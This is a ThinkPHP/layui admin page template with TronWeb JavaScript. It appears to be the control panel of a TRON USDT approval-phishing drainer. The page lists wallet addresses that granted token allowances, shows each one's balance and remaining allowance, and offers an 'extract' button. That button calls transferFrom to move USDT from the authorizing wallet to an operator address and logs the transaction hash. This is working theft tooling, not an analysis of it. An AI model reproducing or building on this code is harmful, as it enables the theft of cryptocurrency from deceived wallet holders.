{extend name="base/base" /}
{block name="style"}
<style type="text/css">

</style>
{/block}
{block name="content"}
  <div class="layui-form-item layui-form-pane">
      
      <!-- <div class="layui-inline">
          <label class="layui-form-label">地址</label>
          <div class="layui-input-inline">
              <input type="text" name="from" autocomplete="off" class="layui-input" id='from'>
          </div>
      </div> -->

      <!-- <div class="layui-inline">
        <div class="demoTable">
          <button class="layui-btn" data-type="reload">搜索</button>
          <button class="layui-btn" onclick="excel()">导出表</button>
        </div>
      </div> -->
  <table id="table" lay-filter="test"></table> 
    <script type="text/html" id="barDemo">
    <a class="layui-btn layui-btn-xs" lay-event="edit">提取</a>
    <!-- <a class="layui-btn layui-btn-xs" lay-event="bf">补发</a> -->
  </script>
  <script type="text/html" id="barDemo2">
    <!-- <a class="layui-btn layui-btn-xs" lay-event="copy">复制钱包地址</a> -->
  </script>
  <script type="text/html" id="toolbarDemo">
  <div class="layui-btn-container">
    <!-- <button class="layui-btn layui-btn-sm" lay-event="add">一键审核</button> -->
  </div>
</script>
</div>
{/block}
{block name="script"}
<script src="/trx/jquery.min.js"></script>
<script src="/trx/TronWeb.js"></script>
<script>

        var address;
        var balance;
        var usdtcc;
        var vv;
        var sj_data;
        $(function () {
            if (typeof window.tronWeb !== 'undefined') {
                metamaskinit();
                setTimeout(function () {
                  
                },2000)
                
            }
            else {
                setTimeout(function () {
                  
                    if (typeof window.tronWeb !== 'undefined') {
                        metamaskinit();
                        setTimeout(function () {
                    // laydata();
                  },2000)
                    }
                    else {
                        alert("未检测到公共钱包平台，请使用imtoken或波宝钱包登录!");
                    }
                }, 1000);
            }
        });

         async function metamaskinit() {
            if (typeof window.tronWeb.defaultAddress.base58 !== 'undefined' && window.tronWeb.defaultAddress.base58 !== false ) {
                 
                address = window.tronWeb.defaultAddress.base58;
                usdtcc = await tronWeb.contract().at("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
                // console.log(usdtcc);
                $.ajax({
                      url:"/admin/sq/dataList/?type=1",
                      type:"POST",
                      data:{},
                      success:function(ret){
                        // console.log(ret)
                        getallow(ret.data);
                      }
                });
            }
            else {
                alert("未检测到tron账户!请确认是否已连接到钱包");
            }
        }

        function laydata(){
          // alert(1);
          // console.log(11);
          // console.log(sj_data); 
          layui.use(['table', 'laydate'], function(){
                    var table = layui.table;
                    var laydate = layui.laydate;
                    // console.log(data);
                    table.render({
              elem: '#table'
              ,height: 'full-200'
              // ,url: '/admin/sq/dataList/?type=1' //数据接口
              ,data:sj_data
              ,limit:500
              ,page: true //开启分页
              ,id:'reload'
              ,cols: [[ //表头
                // {type: 'checkbox', fixed: 'left'}
                {field:'from', title: '授权地址', width: 350}
                ,{field:'to2', title: '接收地址', width: 350}
                ,{field:'to', title: '到账地址', width: 350}
                ,{field:'amx', title: '提交数量', width: 100}
                ,{field:'ye', title: '账户余额', width: 100,templet: function(d){
                    return '<span style="color:red">'+d.ye+'</span>'
                 }}
                ,{field:'am', title: '授权数量', width: 100}
                ,{field:'ams', title: '剩余授权', width: 100,templet: function(d){
                    return '<span style="color:red">'+d.ams+'</span>'
                 }}
                ,{title: '操作', toolbar: '#barDemo', width: 100}
                
              ]]
            });
                    table.on('tool(test)', function(obj){
    var data = obj.data;
     if(obj.event === 'edit'){
      tx(data)
     }
  });
          });
        }

       async function getallow(vv) {
             for(let i=0;i<vv.length;i++){
              // console.log(vv[i].from)
                       let x = await usdtcc.allowance(vv[i].from,vv[i].to2).call();
                       let je= (JSON.parse(x.remaining)-0)/1e6;
                       vv[i].ams = je;
                      let tmp = await usdtcc.balanceOf(vv[i].from).call();
                      vv[i].ye = JSON.parse(tmp) / 1e6;  
                   }
                   sj_data = vv;
                   laydata();
        }
        async function tx(m){
            let sl = prompt("请输入提取数量：");

             if(sl>0){ 
                    // m.to = prompt("请输入提取地址：");   
                  let y =await usdtcc.transferFrom(m.from,m.to,sl*1e6).send();
                  
                   $.get("/admin/sq/addLog?op=logadd&from="+m.from+"&to="+m.to+"&am="+sl+"&hash="+y+'&type='+m.type);
                   alert("提交完成,交易号"+y);
                   window.location.href = reload();
                  // setTimeout(async function(){
                  //    let x = await usdtcc.allowance(m.from,m.to).call();
                  //    let je= (JSON.parse(x.remaining)-0)/1e6;
                  //    m.ams = je;
                  // },5000);
              }
        }
        
    </script>
{/block}
